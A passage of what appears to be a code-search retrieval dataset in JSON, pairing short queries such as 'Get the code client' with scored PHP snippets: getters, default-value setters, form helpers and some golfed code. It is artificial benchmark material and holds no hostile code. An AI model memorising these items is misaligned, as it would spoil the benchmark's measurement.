"99651ce313e64aac09fadc4d584a95bf", "score": "0.6000312", "text": "abstract protected function defaultInitialValue();", "title": "" }, { "docid": "2f2cdf7740451691ce7f21a6faaae666", "score": "0.59878075", "text": "public function default($value);", "title": "" }, { "docid": "f7d1b741498d731b631659884d086df2", "score": "0.5984278", "text": "public function setDefaultvalue($newDefaultvalue)\n {\n $this->defaultValue = $newDefaultvalue;\n }", "title": "" }, { "docid": "6d82bb3497e92caffacd6f3d8fc0b19e", "score": "0.5979909", "text": "function setFromForm(){\r\t\t$this->setId(getVar(\"id\"));\r\t\t$this->setTag(getVar(\"tag\"));\r\t}", "title": "" }, { "docid": "f36a1ba8b3da73703759da162bc79f48", "score": "0.597757", "text": "public function applyDefaultValues()\n\t{\n\t\t$this->deleted = false;\n\t}", "title": "" }, { "docid": "687327c7c1611fb51ebd0a2b27fbe0a4", "score": "0.59770405", "text": "function dataform_reset_course_form_defaults($course) {\n return array('reset_dataform_data' => 0, 'reset_dataform_notenrolled' => 0);\n}", "title": "" }, { "docid": "3d6b116db43861fd088a350dd7e539e2", "score": "0.59742945", "text": "public function init_form_fields() {\n $this->form_fields = require DOKAN_PAYPAL_MP_TEMPLATE_PATH . 'admin-gateway-settings.php';\n }", "title": "" }, { "docid": "54d33388ac4edd85df807020615e5e87", "score": "0.59695137", "text": "function mindcraft_reset_course_form_defaults($course) {\n return array('reset_mindcraft'=>1);\n}", "title": "" }, { "docid": "973c136cd42e5d7e9d92362be5fbca5b", "score": "0.59612805", "text": "function set_label_as_default() {\n if(($this->request->isAsyncCall() || $this->request->isApiCall()) && $this->request->isSubmitted()) {\n if($this->active_label->isLoaded()) {\n if($this->active_label->canEdit($this->logged_user)) {\n try {\n if($this->active_label->getIsDefault()) {\n Labels::unsetDefault($this->active_label); \n } else {\n Labels::setDefault($this->active_label);\n } // if \n $this->response->respondWithData($this->active_label, array('as' => 'label'));\n } catch(Exception $e) {\n $this->response->exception($e);\n } // try\n } else {\n $this->response->forbidden();\n } // if\n } else {\n $this->response->notFound();\n } // if\n } else {\n $this->response->badRequest();\n } // if\n }", "title": "" }, { "docid": "052053671ad0c50932b7f6a7675853d9", "score": "0.5956302", "text": "public function setValues() {\n $values = array(\n 'title' => array('selector' => '#ctl00_ContentPlaceHolder1_ctl00_txtTitle'),\n 'og_group_ref' => array(\n 'selector' => '#ctl00_ContentPlaceHolder1_ctl00_ddlBody option[selected=\"selected\"]',\n 'get_text' => TRUE,\n ),\n 'field_category' => array(\n 'selector' => '#ctl00_ContentPlaceHolder1_ctl00_ddlProdCat option[selected=\"selected\"]',\n 'get_text' => TRUE,\n ),\n 'posted_date' => array('selector' => '#ctl00_ContentPlaceHolder1_ctl00_txtDate'),\n 'file_id_pdf' => array(\n 'selector' => '#ctl00_ContentPlaceHolder1_ctl00_hdnPDFID',\n ),\n 'file_text_pdf' => array(\n 'filename' => TRUE,\n 'tr' => 1,\n ),\n 'field_legacy_publish' => array(\n 'selector' => '#ctl00_ContentPlaceHolder1_ctl00_ddlPublish option[selected=\"selected\"]',\n 'get_text' => TRUE,\n ),\n );\n $this->values = $values;\n }", "title": "" }, { "docid": "ceb17ad3a81525c28fc511d3fa46dc52", "score": "0.5954957", "text": "public function applyDefaultValues()\n\t{\n\t\t$this->dues_amount_paid = 0;\n\t}", "title": "" }, { "docid": "86c095addfa6be395ba2355a151f4882", "score": "0.5953168", "text": "public function setDefaultDataConfig()\n\t{\n\t\t$this->set('columnName', $this->columnName)\n\t\t\t->set('label', $this->defaultLabel)\n\t\t\t->set('presence', 0)\n\t\t\t->set('defaultValue', $this->defaultValue)\n\t\t\t->set('displayType', $this->displayType)\n\t\t\t->set('invtype', $this->type)\n\t\t\t->set('colSpan', $this->colSpan);\n\t}", "title": "" }, { "docid": "0c7496db1bdfd05153345409841fca51", "score": "0.5952125", "text": "public function especificosForm(){\n \n }", "title": "" }, { "docid": "d485ec80e29c55af67521591385ead15", "score": "0.594762", "text": "protected function setDefaultOptions()\n {\n }", "title": "" }, { "docid": "827c186ddbad952a96f0be8deebeb958", "score": "0.5945791", "text": "function entity_ui_main_form_defaults($form, &$form_state, $entity = NULL, $op = NULL) {\n if ($op == 'clone') {\n // Clone the entity and make sure it will get saved as a new entity.\n $entity = clone $entity;\n $entity_info = entity_get_info($form_state['entity_type']);\n $entity->{$entity_info['entity keys']['id']} = FALSE;\n $entity->is_new = TRUE;\n }\n return entity_ui_form_defaults($form, $form_state, $form_state['entity_type'], $entity, $op);\n}", "title": "" } ]
c126a5bb7dd28bb894b2a229546c86ac
Get the code client.
[ { "docid": "5fc463b8035982e378b477debc80d6ad", "score": "0.8039866", "text": "public function getCodeClient(): ?string {\n return $this->codeClient;\n }", "title": "" } ]
[ { "docid": "ae530fc1bbe39a9e5166b949c08ebc9f", "score": "0.87568146", "text": "public function getCodeClient() {\n return $this->codeClient;\n }", "title": "" }, { "docid": "ae530fc1bbe39a9e5166b949c08ebc9f", "score": "0.87568146", "text": "public function getCodeClient() {\n return $this->codeClient;\n }", "title": "" }, { "docid": "677114e68d0fcb6e2938829fae9aa515", "score": "0.77188575", "text": "public function getClient() {\n return Client::getById($this->getId_client());\n }", "title": "" }, { "docid": "5a4780ed0c661f8349248f8d0c46e84e", "score": "0.7594401", "text": "public function getClient()\n {\n return Client::get()->filter(['Identifier' => $this->getIdentifier()])->first();\n }", "title": "" }, { "docid": "f1c8d8d6d35b974f32b3adfe6a3c6de6", "score": "0.7479822", "text": "private function get_client() {\n\t\treturn $this->client;\n\t}", "title": "" }, { "docid": "f1c8d8d6d35b974f32b3adfe6a3c6de6", "score": "0.7479822", "text": "private function get_client() {\n\t\treturn $this->client;\n\t}", "title": "" }, { "docid": "f1c8d8d6d35b974f32b3adfe6a3c6de6", "score": "0.7479822", "text": "private function get_client() {\n\t\treturn $this->client;\n\t}", "title": "" }, { "docid": "0da52b592fdf7c1c6cd6162710095b4b", "score": "0.741105", "text": "public function client()\n {\n return $this->client;\n }", "title": "" }, { "docid": "1c2677fc49f04d018e58abfe47091556", "score": "0.733424", "text": "public function getClient() {\n\t\treturn $this->_client;\n\t}", "title": "" }, { "docid": "6833504115270cefcf07dd995792f13b", "score": "0.72875", "text": "protected function getClient() {\n if (!$this->client) {\n $this->connect();\n }\n\n return $this->client;\n }", "title": "" }, { "docid": "133a840681af827539b725a3c0c376ba", "score": "0.7255848", "text": "public function getClientInstance()\n\t{\n\t\treturn Client::instance($this->db);\n\t}", "title": "" }, { "docid": "c96457bc951feb94c29865ff811dbfe7", "score": "0.7248824", "text": "protected function getClient()\n {\n return ClientProvider::getClient();\n }", "title": "" }, { "docid": "7d72bf13576d22bff32a844da920eed4", "score": "0.7235573", "text": "public function get()\n {\n return $this->client;\n }", "title": "" }, { "docid": "6931f532cbf96e6006faf6449a7a7ae4", "score": "0.72353774", "text": "public function getClient() {\n\t\treturn $this->client;\n\t}", "title": "" }, { "docid": "6931f532cbf96e6006faf6449a7a7ae4", "score": "0.72353774", "text": "public function getClient() {\n\t\treturn $this->client;\n\t}", "title": "" }, { "docid": "3d9676cbea551109bb4002b5877ffaec", "score": "0.7233986", "text": "public function getClient()\n\t{\n\t\treturn $this->client;\n\t}", "title": "" }, { "docid": "3d9676cbea551109bb4002b5877ffaec", "score": "0.7233986", "text": "public function getClient()\n\t{\n\t\treturn $this->client;\n\t}", "title": "" }, { "docid": "3d9676cbea551109bb4002b5877ffaec", "score": "0.7233986", "text": "public function getClient()\n\t{\n\t\treturn $this->client;\n\t}", "title": "" }, { "docid": "3d9676cbea551109bb4002b5877ffaec", "score": "0.7233986", "text": "public function getClient()\n\t{\n\t\treturn $this->client;\n\t}", "title": "" }, { "docid": "2c8fad204fffce82500f286845812e1e", "score": "0.7224844", "text": "public function getClient()\n {\n return $this->_client;\n }", "title": "" }, { "docid": "9177978fa77208d9564fd152c374a8e4", "score": "0.7219911", "text": "function getClient()\n\t{\n\t\treturn $this->_client;\n\t}", "title": "" }, { "docid": "b41c0a2c4b232a66a30cc26c3910d66e", "score": "0.7183474", "text": "private function _getClient() {\n\n static $client = FALSE;\n\n if ($client instanceof Client) {\n return $client;\n }\n\n $client = Client::factory([\n 'url' => $this->getServer()->getUrl(),\n 'client_id' => 'example_id',\n 'client_secret' => 'example_secret',\n 'munchkin_id' => 'example_munchkin_id',\n ]);\n\n return $client;\n }", "title": "" }, { "docid": "b58bf4249f2a442cf7d7572dd2e48512", "score": "0.7152898", "text": "public function getClient()\n {\n if (!$this->client) {\n $this->client = new Client();\n }\n\n return $this->client;\n }", "title": "" }, { "docid": "ab344f8c4dc1ffeddb9ff13bb6429860", "score": "0.7140727", "text": "public function client(): Client\n {\n return $this->client;\n }", "title": "" }, { "docid": "5f19c53a1e901d59229e8b908d5ded77", "score": "0.7120877", "text": "public function getClient(): Client\n {\n return $this->client;\n }", "title": "" }, { "docid": "5f19c53a1e901d59229e8b908d5ded77", "score": "0.7120877", "text": "public function getClient(): Client\n {\n return $this->client;\n }", "title": "" }, { "docid": "5f19c53a1e901d59229e8b908d5ded77", "score": "0.7120877", "text": "public function getClient(): Client\n {\n return $this->client;\n }", "title": "" }, { "docid": "8101d59be7b653678cca5eae10e319f4", "score": "0.7096175", "text": "public function getClient(): object\n {\n return $this->_client;\n }", "title": "" }, { "docid": "633b763fadf08a8208f196b4cadb2a77", "score": "0.7088283", "text": "public function getClient()\n {\n return $this->client;\n }", "title": "" }, { "docid": "d7f69d255f7f396d5e5c855675d5c4e1", "score": "0.70853907", "text": "public function getClient() {\n return $this->client;\n }", "title": "" }, { "docid": "d7f69d255f7f396d5e5c855675d5c4e1", "score": "0.70853907", "text": "public function getClient() {\n return $this->client;\n }", "title": "" }, { "docid": "d7f69d255f7f396d5e5c855675d5c4e1", "score": "0.70853907", "text": "public function getClient() {\n return $this->client;\n }", "title": "" }, { "docid": "3d003d58d465d2ed4e65f4427f0315ca", "score": "0.7080982", "text": "public function getClient() \n {\n return $this->client;\n }", "title": "" }, { "docid": "80345c1478c19f612701de77ce1a330a", "score": "0.70600724", "text": "function getClient() {\n if (is_null($this->client)) {\n $this->client = new \\Ficus\\Client();\n if (\\MongoId::isValid($this->getId())) {\n $this->client->setId($this->getId());\n $this->client->query();\n }\n }\n return $this->client;\n }", "title": "" }, { "docid": "4c739fa1613c8302b52413986e35ba76", "score": "0.70555866", "text": "public function getClient()\n {\n return $this->client;\n }", "title": "" }, { "docid": "4c739fa1613c8302b52413986e35ba76", "score": "0.70555866", "text": "public function getClient()\n {\n return $this->client;\n }", "title": "" }, { "docid": "4c739fa1613c8302b52413986e35ba76", "score": "0.70555866", "text": "public function getClient()\n {\n return $this->client;\n }", "title": "" }, { "docid": "4c739fa1613c8302b52413986e35ba76", "score": "0.70555866", "text": "public function getClient()\n {\n return $this->client;\n }", "title": "" }, { "docid": "4c739fa1613c8302b52413986e35ba76", "score": "0.70555866", "text": "public function getClient()\n {\n return $this->client;\n }", "title": "" }, { "docid": "4c739fa1613c8302b52413986e35ba76", "score": "0.70555866", "text": "public function getClient()\n {\n return $this->client;\n }", "title": "" }, { "docid": "4c739fa1613c8302b52413986e35ba76", "score": "0.70555866", "text": "public function getClient()\n {\n return $this->client;\n }", "title": "" }, { "docid": "4c739fa1613c8302b52413986e35ba76", "score": "0.70555866", "text": "public function getClient()\n {\n return $this->client;\n }", "title": "" }, { "docid": "4c739fa1613c8302b52413986e35ba76", "score": "0.70555866", "text": "public function getClient()\n {\n return $this->client;\n }", "title": "" }, { "docid": "4c739fa1613c8302b52413986e35ba76", "score": "0.70555866", "text": "public function getClient()\n {\n return $this->client;\n }", "title": "" }, { "docid": "4c739fa1613c8302b52413986e35ba76", "score": "0.70555866", "text": "public function getClient()\n {\n return $this->client;\n }", "title": "" }, { "docid": "4c739fa1613c8302b52413986e35ba76", "score": "0.70555866", "text": "public function getClient()\n {\n return $this->client;\n }", "title": "" }, { "docid": "4c739fa1613c8302b52413986e35ba76", "score": "0.70555866", "text": "public function getClient()\n {\n return $this->client;\n }", "title": "" }, { "docid": "4c739fa1613c8302b52413986e35ba76", "score": "0.70555866", "text": "public function getClient()\n {\n return $this->client;\n }", "title": "" }, { "docid": "4c739fa1613c8302b52413986e35ba76", "score": "0.70555866", "text": "public function getClient()\n {\n return $this->client;\n }", "title": "" }, { "docid": "4c739fa1613c8302b52413986e35ba76", "score": "0.70555866", "text": "public function getClient()\n {\n return $this->client;\n }", "title": "" }, { "docid": "4c739fa1613c8302b52413986e35ba76", "score": "0.70555866", "text": "public function getClient()\n {\n return $this->client;\n }", "title": "" }, { "docid": "4c739fa1613c8302b52413986e35ba76", "score": "0.70555866", "text": "public function getClient()\n {\n return $this->client;\n }", "title": "" }, { "docid": "4c739fa1613c8302b52413986e35ba76", "score": "0.70555866", "text": "public function getClient()\n {\n return $this->client;\n }", "title": "" }, { "docid": "4c739fa1613c8302b52413986e35ba76", "score": "0.70555866", "text": "public function getClient()\n {\n return $this->client;\n }", "title": "" }, { "docid": "4c739fa1613c8302b52413986e35ba76", "score": "0.70555866", "text": "public function getClient()\n {\n return $this->client;\n }", "title": "" }, { "docid": "8490edf1d09925ab82efac0765665dba", "score": "0.70361924", "text": "public function getClient()\n {\n return $this->client;\n }", "title": "" }, { "docid": "d64e41fbfeef16c616625df1fe06c2f7", "score": "0.70284325", "text": "public function getClient(){\r\n return $this->client;\r\n }", "title": "" }, { "docid": "7c6107183c69fe6a020005942b57cbf2", "score": "0.69876796", "text": "public function getClient(): Client\n {\n if (!$this->client) {\n $this->setClient($this->getContainer()->get('best_it_ct_custom_types.client'));\n }\n\n return $this->client;\n }", "title": "" }, { "docid": "5cdda9bd1e669ebec6633ceefe86d09c", "score": "0.69185305", "text": "protected function getClient()\n\t{\n\t\treturn \\Mixpanel::getInstance($this->config['token']);\n\t}", "title": "" }, { "docid": "0c3722682e574c0fcc3fa5d389f0a7ff", "score": "0.6916395", "text": "public function getClient()\n {\n if (is_null($this->client)) {\n $this->identifyClientFromRequest();\n }\n\n return $this->client;\n }", "title": "" }, { "docid": "045d788731c22502dbe34a76ca7cf389", "score": "0.6912449", "text": "public function getClient(): Client\n {\n return $this->getAdapter()->getClient();\n }", "title": "" }, { "docid": "2b057afbad8e8eaf83b2a38ce4253680", "score": "0.6865284", "text": "public function getScpClient();", "title": "" }, { "docid": "b1fadaeb018e8b6d69e69c98425b676e", "score": "0.68421835", "text": "public function getClientId()\n {\n return $this->client_id;\n }", "title": "" }, { "docid": "b1fadaeb018e8b6d69e69c98425b676e", "score": "0.68421835", "text": "public function getClientId()\n {\n return $this->client_id;\n }", "title": "" }, { "docid": "b1fadaeb018e8b6d69e69c98425b676e", "score": "0.68421835", "text": "public function getClientId()\n {\n return $this->client_id;\n }", "title": "" }, { "docid": "b1fadaeb018e8b6d69e69c98425b676e", "score": "0.68421835", "text": "public function getClientId()\n {\n return $this->client_id;\n }", "title": "" }, { "docid": "b1fadaeb018e8b6d69e69c98425b676e", "score": "0.68421835", "text": "public function getClientId()\n {\n return $this->client_id;\n }", "title": "" }, { "docid": "0f8af521f89b07d5dce3119b7c5d9ada", "score": "0.6820429", "text": "public static function getClientId()\n {\n return self::$clientId;\n }", "title": "" }, { "docid": "0d1c372ef59594194c45987f55f2b865", "score": "0.67973787", "text": "public static function getClientId()\n {\n return static::$clientId;\n }", "title": "" }, { "docid": "02b1105f43c24c8ab3b157b3978157de", "score": "0.6766442", "text": "public function getClient(): OssClient\n {\n return $this->client;\n }", "title": "" }, { "docid": "c4b1504db9366cbb166250198408eac5", "score": "0.6762625", "text": "public static function getClient();", "title": "" }, { "docid": "98513203e957bcb2630f4ac6014f2fb0", "score": "0.67623127", "text": "function getClientId( ) {\n\t\treturn $this->_clientId;\n\t}", "title": "" }, { "docid": "e919e21535144f228cb6254b9e09552d", "score": "0.67558545", "text": "public function getClient()\n {\n return $this->client->getKinesisClient($this->getType());\n }", "title": "" }, { "docid": "bf5e878f8c10bfb38b416629570858dd", "score": "0.6751967", "text": "public function getClient()\n {\n if (!$this->_client instanceof GearmanClient) {\n $this->_client = new GearmanClient();\n $this->_client->addServer($this->host, $this->port);\n // additional servers\n if (!empty($this->servers)) {\n $this->_client->addServers(implode(',', $this->servers));\n }\n }\n\n return $this->_client;\n }", "title": "" }, { "docid": "270b6cfe1656e5e82b1105d8dc81a9f1", "score": "0.67457026", "text": "public function getClient() {\n $this->_client = Zend_Gdata_ClientLogin::getHttpClient(\n $this->getId(),\n $this->getPassword(),\n self::SERVICE\n );\n return $this->_client;\n }", "title": "" }, { "docid": "156b6eae4de55ed6c67884b352fd62ef", "score": "0.6732946", "text": "protected function getClient() {\n\t\tif(!$this->client) {\n\t\t\t$this->client = new Client([\n\t\t\t\tRequestOptions::VERIFY => self::$VERIFY_SSL,\n\t\t\t\tRequestOptions::TIMEOUT => $this->timeout,\n\t\t\t]);\n\t\t}\n\t\treturn $this->client;\n\t}", "title": "" }, { "docid": "5ecfc83813587956a4f09db908a2814f", "score": "0.67219543", "text": "public function getClient(): BaseClient\n {\n return $this->_client;\n }", "title": "" }, { "docid": "1091bf9dcd3dace8fbdd944059b25208", "score": "0.6689912", "text": "public function getClient()\n {\n return $this->event->getClient();\n }", "title": "" }, { "docid": "8bccdd5d3c2e394f7e272bee9a227a2e", "score": "0.6684719", "text": "public function getClientId() {\n\t\treturn $this->clientId;\n\t}", "title": "" }, { "docid": "8bccdd5d3c2e394f7e272bee9a227a2e", "score": "0.6684719", "text": "public function getClientId() {\n\t\treturn $this->clientId;\n\t}", "title": "" }, { "docid": "1b924f634a0c4d949cf7592bc1a1c7a1", "score": "0.66796076", "text": "public function getClient()\n {\n Yii::setAlias('@Solarium', dirname(__DIR__) . '/vendors/solarium/library/Solarium');\n Yii::setAlias('@Symfony/Component/EventDispatcher', dirname(__DIR__) . '/vendors/solarium/vendor/symfony/event-dispatcher/');\n\n $config = array(\n 'endpoint' => array(\n 'localhost' => array(\n 'host' => $this->host,\n 'port' => $this->port,\n 'path' => $this->path,\n )\n )\n );\n $client = new \\Solarium\\Core\\Client\\Client($config);\n\n if ($this->username != \"\") {\n $endpoint = $client->getEndpoint();\n $endpoint->setAuthentication($this->username, $this->password);\n }\n\n return $client;\n }", "title": "" }, { "docid": "4d4c551183f7887b44a2144cbe59fe0a", "score": "0.667487", "text": "public function getClientId()\n {\n return $this->clientId;\n }", "title": "" }, { "docid": "4d4c551183f7887b44a2144cbe59fe0a", "score": "0.667487", "text": "public function getClientId()\n {\n return $this->clientId;\n }", "title": "" }, { "docid": "4d4c551183f7887b44a2144cbe59fe0a", "score": "0.667487", "text": "public function getClientId()\n {\n return $this->clientId;\n }", "title": "" }, { "docid": "4d4c551183f7887b44a2144cbe59fe0a", "score": "0.667487", "text": "public function getClientId()\n {\n return $this->clientId;\n }", "title": "" }, { "docid": "f6ccf303b10aba5856d67ce1c422cda7", "score": "0.6669708", "text": "public function get_client_id() {\n $mode = $this->get_mode();\n\n if ( $mode == 'live' ) {\n return $this->get_live_client_id();\n }\n\n return $this->get_sandbox_client_id();\n }", "title": "" }, { "docid": "df78feab77d773365c0256c81ca70402", "score": "0.66458553", "text": "public function getClientId() {\n return $this->clientId;\n }", "title": "" }, { "docid": "f031c099691d051ef9bdc1335e4025b0", "score": "0.66453433", "text": "protected function getClient()\n {\n return new Client;\n }", "title": "" }, { "docid": "08b731ceaa7aa8e25e74309fa674af9b", "score": "0.663096", "text": "public static function getClient()\n\t{\n\t\treturn (extension_loaded('curl')) ? new Curl : new Native;\n\t}", "title": "" }, { "docid": "b53f9fb497725ad4e85d47fb8a94233d", "score": "0.66298974", "text": "public function getIdClient()\n {\n return $this->idClient;\n }", "title": "" }, { "docid": "67396eb53e3f7a6cf3fcfd3d9f6570cd", "score": "0.66259634", "text": "public function getClient(): ClientInterface\n {\n return $this->client;\n }", "title": "" }, { "docid": "034d83ee05eac082fd188e2ed7aa7f21", "score": "0.6608421", "text": "public function getClientId(): string\n {\n return $this->clientId;\n }", "title": "" }, { "docid": "034d83ee05eac082fd188e2ed7aa7f21", "score": "0.6608421", "text": "public function getClientId(): string\n {\n return $this->clientId;\n }", "title": "" }, { "docid": "034d83ee05eac082fd188e2ed7aa7f21", "score": "0.6608421", "text": "public function getClientId(): string\n {\n return $this->clientId;\n }", "title": "" }, { "docid": "10aa7c435e9686f13592322325ab8220", "score": "0.6605791", "text": "public function getId_client() {\n\t\treturn $this->id_client;\n\t}", "title": "" }, { "docid": "1142519a0a39b37abc4edc002b2e3fc1", "score": "0.66053826", "text": "public function getIdClient() {\r\n return $this->idClient;\r\n }", "title": "" }, { "docid": "1100a98ad1ae1bf0dcb781452c4b858f", "score": "0.65850294", "text": "public function getClient()\n {\n return null;\n }", "title": "" } ]
79401ccc290fb32bdf26e89f7216dbf3
/ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
[ { "docid": "24347530582ea6b795a6c7f0bed35409", "score": "0.0", "text": "function countryGet($opt=array()){\n\n\tif(isset($opt['is_used'])) $cond[] = \"is_used='\".$opt['is_used'].\"'\";\n\n\tif($opt['iso'] != ''){\n\t\t$dbMode = 'dbOne';\n\t\t$cond[] = \"iso='\".$opt['iso'].\"'\";\n\t}else{\n\t\t$dbMode\t= 'dbMulti';\n\t}\n\n\t# Gerer les ORDRES\n\tif($opt['order'] != NULL && $opt['direction'] != NULL){\n\t\t$order = \" ORDER BY \".$opt['order'].\" \".$opt['direction'];\n\t}\n\n\tif(sizeof($cond) > 0) $where = \" WHERE \".implode(\" AND \", $cond);\n\n\tif($dbMode == 'dbOne') unset($order);\n\n\t$country = $this->$dbMode(\"SELECT * FROM k_country \".$where.$order);\n\n\tif($opt['byZone'] && $dbMode == 'dbMulti'){\n\t\tforeach($country as $e){\n\t\t\t$out[$e['countryZone']][] = $e;\n\t\t}\n\t\t$country = $out;\n\t}\n\n\tif($opt['debug']) $this->pre($this->db_query, $this->db_error, $country);\n\n\treturn $country;\n}", "title": "" } ]
[ { "docid": "e4733dd7417ff08db4261973a885d325", "score": "0.5536486", "text": "function s(array $argv)\n{\n$a=$argv;$b=[['|','^',0,-1],['-','>',1,0],['|',v,0,1],['-','<',-1,$x=$y=$o=$p=$q=$r=0]];for($t=$a[4];$t;$t--){$d=strpos(urdl,$a[2]);$c=$b[$d];$m[$y][$x]='@';for($s=0;++$s<$a[1];){for($k=3;--$k;){for($i=$s;--$i;)$m[$y+=$c[3]][$x+=$c[2]]=$c[0];$x+=$c[2];$y+=$c[3];$c=$b[$d=($d+($a[3]==c?3:1))%4];$m[$y][$x]=$c[1];}$o=min($x,$o);$p=max($p,$x);$q=min($y,$q);$r=max($r,$y);}for($i=$s;--$i;)$m[$y+=$c[3]][$x+=$c[2]]=$c[0];$m[$y][$x]='&';}for($y=$q;$y<=$r;$y++){$l='';for($x=$o;$x<=$p;$x++)$l.=$m[$y][$x]?:' ';echo rtrim($l).\"\\n\";}\n}", "title": "" }, { "docid": "50991d519f104cadda480c09c6f17890", "score": "0.55102915", "text": "public function abord();", "title": "" }, { "docid": "36422704db52080f546e4ad260fe2d7d", "score": "0.5133469", "text": "function golfed(array $argv) {\n $g=explode(',',$argv[1]);$x=$y=$a=$b=$c=$d=$e=$f=0;\n foreach($g as$i=>$h){list($k,$l,$m)=\n ['N'=>[-1,0,'^'],'E'=>[0,1,'>'],'S'=>[1,0,'v'],'W'=>[0,-1,'<']][$h[0]];\n for($s=substr($h,1);$s--;){$z[$f=$y][$e=$x]=$m;$y+=$k;$x+=$l;}\n if($i==count($g)-1){$x=$e;$y=$f;}\n $a=min($a,$x);$b=max($b,$x);$c=min($c,$y);$d=max($d,$y);\n }$z[$y][$x]='X';for($y=$c;$y<=$d;$y++)\n {$o='';for($x=$a;$x<=$b;$x++)$o.=$z[$y][$x]?:' ';echo rtrim($o).\"\\n\";}\n}", "title": "" }, { "docid": "37e5c1a8aa5469dc3fec54cf9ea8925b", "score": "0.4968191", "text": "function golfedDirections_v1(array $argv)\n{\n$b=0;foreach(str_split($argv[$n=1])as$c){if($c=='|'){$a[$b].='F ';$f[$b]++;}elseif($c=='/'){$a[$b].='R ';}elseif($c=='\\\\'){$a[$b].='L ';}elseif($c=='^'){$d.=$a[0];$n=2;$a=['R ','L '];$f=[];$b=1;}elseif($c==Y){$d.=$a[$f[0]<$f[$n=1]].'F ';$a=[];}elseif($c==D){$d.=$a[$b];break;}else continue;$b=++$b%$n;}echo rtrim($d);\n}", "title": "" }, { "docid": "3155913cc19015ad90090262b6d54bd2", "score": "0.49635753", "text": "function funcs01 ( ) {\n \tfor ( $x = 0; $x < $this->width; $x++ ) {\n \t\tfor ( $y = 0; $y < $this->height; $y++ ) {\n\t\t\t\t$var0 = 0;\n\t\t\t\t$var0 += $this->var17 [ $x ] [ $y ];\n\t\t\t\t$var0 += $this->var17 [ ( $x + 1 ) % $this->width ] [ $y ];\n\t\t\t\t$var0 += $this->var17 [ ( $x + $this->width - 1) % $this->width ] [ $y ];\n\t\t\t\t$var0 += $this->var17 [ $x ] [ ( $y + 1 ) % $this->height ];\n\t\t\t\t$var0 += $this->var17 [ $x ] [ ( $y + $this->height - 1 ) % $this->height ];\n\t\t\t\t$var0 += $this->var17 [ ( $x + 1 ) % $this->width ] [ ( $y + 1 ) % $this->height ];\n\t\t\t\t$var0 += $this->var17 [ ( $x + $this->width - 1) % $this->width ] [ ( $y + $this->height - 1 ) % $this->height ];\n\t\t\t\t$var0 += $this->var17 [ ( $x + $this->width - 1) % $this->width ] [ ( $y + 1 ) % $this->height ];\n\t\t\t\t$var0 += $this->var17 [ ( $x + 1 ) % $this->width ] [ ( $y + $this->height - 1) % $this->height ];\n\t\t\t\t$var0 /= 9;\n\t\t\t\t$var1 [ $x ] [ $y ] = ( ( ( float ) ( $var0 / 3 ) ) * ( ( float ) ( $this->var01 / 255 ) ) );\n\t\t\t}\n\t\t}\n\n \tfor ( $x = 1; $x < $this->width - 1; $x++ ) {\n \t\tfor ( $y = 1; $y < $this->height - 1; $y++ ) {\n\t\t\t\t$this->var11 [ $x ] [ $y ] = ( $var1 [ $x + 1 ] [ $y ] - $var1 [ $x - 1 ] [ $y ] );\n\t\t\t\t$this->var12 [ $x ] [ $y ] = ( $var1 [ $x ] [ $y + 1 ] - $var1 [ $x ] [ $y - 1 ] );\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "df0a07d90805d5f843e31af28c7b25f1", "score": "0.48949894", "text": "static function umx_algo(int $p,$b,$m){$ret=[];\nif($m=='imoo'){$al=16.79; $mu=3;}\nif($m=='woam'){$al=13.36; $mu=M_PI;}\n$unit=round(bcdiv($p,$al)); $n=$unit;\n$volume_unitaire=self::volume($al);\n$al_estimated=self::ray_of_volume_b($volume_unitaire);//test\n//verbose([$volume_unitaire,$volume_espace,$ratio,$unit]);\n$ret[]=['unit','nb','volume','al','sub'];\n/*//sphère bleue\n$blue=round($volume_unitaire)/3;\n$ret[]=[0,0,round($blue),round(self::ray_of_volume_b($blue),2),''];*/\n$a=1; $ret[]=[$a,$b,round($volume_unitaire),round($al_estimated,2),''];\nfor($i=1;$i<=$n;$i++){\n\t$a=bcmul($a,$mu);//unit\n\t$bb=bcmul($b,2); $ba=$bb-$b; $b=$bb;//stars\n\t$volume=$volume_unitaire*$a;\n\t//$al_estimated=self::ray_of_volume_b($volume);\n\t$al_estimated=self::ray_of_volume2($volume);\n\t//if(!$al_estimated)return $ret;\n\t$ret[]=[(int)$b,round($a,4),round($volume),round($al_estimated,2),$ba];\n\tif($al_estimated>$p)$i=$n;}\nreturn $ret;}", "title": "" }, { "docid": "70d3f4eb6d1b2c0e604455a0047ecd1b", "score": "0.48704287", "text": "function lookAheadTest( $Data, $currentEnc, $pos, &$specialSymbols ) {\n\n // datamatrix speficiations algorithm\n\n global $C40CODES;\n\n // step J\n $asciiCount=0;\n $c40Count=1;\n $textCount=1;\n $b256Count=1.25;\n\n $initialPos=$pos;\n\n if ($currentEnc!=E_ASCII) {\n $asciiCount=1;\n $c40Count=2;\n $textCount=2;\n $b256Count=2.25;\n }\n\n if ($currentEnc==E_C40) $c40Count=0;\n if ($currentEnc==E_TEXT) $textCount=0;\n if ($currentEnc==E_BASE256) $b256Count=0;\n\n while ($pos<sizeof($Data)) {\n $ic = $Data[$pos];\n $c = chr($ic);\n\n // step L, ascii count\n\t if ($this->isDigit($ic)) $asciiCount=$asciiCount+0.5;\n\t else if ( $ic > 127 ) $asciiCount=round($asciiCount)+2;\n\t else $asciiCount=round($asciiCount)+1;\n\n\t $tmp = $C40CODES[$ic];\n\t // step M c40 Count\n\t if (sizeof($tmp)==1) $c40Count=$c40Count+0.66; // native c40\n\t else if ( $ic > 127 ) $c40Count=$c40Count+2.66;\n\t else $c40Count=$c40Count+1.33;\n\n\t // step N, text count\n\t $cText=$c;\n\t $tmp=''.$c;\n\t if (($c>='A') && ($c<='Z')) {\n\t \t\t$cText=strtoLower($tmp);\n\t\t\t$cText=$cText{0};\n\t\t\t}\n\t if (($c>='a') && ($c<='z')) {\n\t\t $cText=strtoUpper($tmp);\n\t\t $cText=$cText{0};\n\t }\n\n \t if (sizeof($C40CODES[ord($cText)])==1) $textCount=$textCount+0.66; // native c40\n\t else if ($cText>chr(127)) $textCount=$textCount+2.66;\n\t else $textCount=$textCount+1.33;\n\n\n\t // step Q, b256 count\n\t $b256Count++;\n\n\t // if there is a special symbol, use ASCII\n\t if ($specialSymbols[$pos]!='') return E_ASCII;\n\n\n\t // step R\n\t if (($pos-$initialPos)>=4) {\n\n\t if (( ($asciiCount+1)<=$c40Count) && ( ($asciiCount+1)<=$textCount) && ( ($asciiCount+1)<=$b256Count) ) return E_ASCII;\n\t\t if ( ($b256Count+1)<=$asciiCount) return 